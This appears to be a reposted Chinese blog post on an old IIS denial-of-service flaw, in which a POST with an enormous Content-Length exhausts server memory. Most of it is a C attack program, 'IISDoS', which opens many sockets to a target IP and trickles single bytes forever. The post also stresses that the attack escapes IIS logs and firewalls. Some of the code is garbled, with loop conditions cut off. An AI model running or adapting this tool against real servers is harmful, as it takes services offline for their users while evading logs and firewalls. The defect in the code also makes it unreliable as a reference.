HTTP协议Content Lenth限制漏洞导致拒绝服务攻击

漏洞描述:
在HTTP协议中,当使用POST方法时,可以设置ContentLenth来定义需要传送的数据长度,但是HTTP协议中并没有对ContentLenth的大小进行限制,这使得拒绝服务-内存耗尽攻击成为可能。
在IIS中,用户POST数据时,系统先将用户上传的数据存放在内存中,当用户完成数据传送(数据的长度达到ContentLenth时),IIS再将这块内存交给特定的

文件或CGI处理;如果用户POST非常大的数据(通过多次数据发送)例如ContentLenth:999999999,在传送完成前,内存不会释放,攻击者可以利用这个缺陷,连续向WEB服务器发送垃圾数据直至WEB服务器内存耗尽。在Web服务器内存不足的时候,我们可以明显的看到系统速度下降、硬盘读写增多(缓存)等现象的出现。

值得注意的是,这种攻击方法基本不会留下痕迹:
首先,由於数据传送不会完成(只要ContentLenth足够大,比如Content-Length:2147483647),所以IIS日无法记录(IIS日是在操作完成後才记录的)

其次,由於进行的是正常的POST操作,而且数据是缓慢送入WEB服务器的,因此防火墙很难发现这样的操作。(除非在防火墙上
对ContentLenth进行监测)

第三,这种攻击对於攻击者的主机来说几乎没有任何负荷,既不会消耗CPU更不会占用内存,最多是占用了部分带宽。

解决方法:
编写相应的Filter,对於过大的ContentLenth进行过滤。

漏洞测试:
以下的程式可以测试你的服务器是否有ContentLenth漏洞:

//IISDoS
//ByShotgun
//shotgun@xici.net

voidIISDos()
{
intnet[2048],Counter=0,K=0,i,j;
structsockaddr_insa;
charsend_data[1024]="POST/default.aspHTTP/1.1/nHost:xici.net/nContent-Type:text/html/nContent-Length:

2147483647/n/r";
char*send_char;
WSADATAWSAData;
strncpy((char*)&sa,"",sizeofsa);
sa.sin_family=AF_INET;
sa.sin_port=htons(80);
sa.sin_addr.s_addr=inet_addr(Attack_IP);
send_char=(char*)malloc(sizeof(char));
for(i=0;i{
if((net[i]=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("Allocatingscoket%dfalid./ErrorCode:n",i);
exit(0);
}
if((connect(net[i],(structsockaddr*)&sa,sizeofsa))!=0)
{
printf("Connect%dfailed.ErrorCode:%d/n",i,GetLastError());
for(i=0;iWSACleanup();
exit(0);
}
if(send(net[i],send_data,sizeof(send_data),0)==SOCKET_ERROR)
{
printf("Sending%ddatatotheserverfailed1.ErrorCode:%d/n",i,GetLastError());
exit(0);
}
for(j=0;jif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%dKeepalivedatafailed.ErrorCode:%d/n",i,GetLastError());
exit(0);
}
Sleep(200);
}
while(1)
{
for(i=0;iif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%ddatafailed.ErrorCode:%d/n",i,GetLastError());
closesocket(net[i]);
WSACleanup();
exit(0);
}
else
{
Counter++;
if(Counter==1024)
{
Counter=0;
K++;
printf("%dKb",K);
}
Sleep(DelayTime);
}
}
for(i=0;iclosesocket(net[i]);
WSACleanup();
}

 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值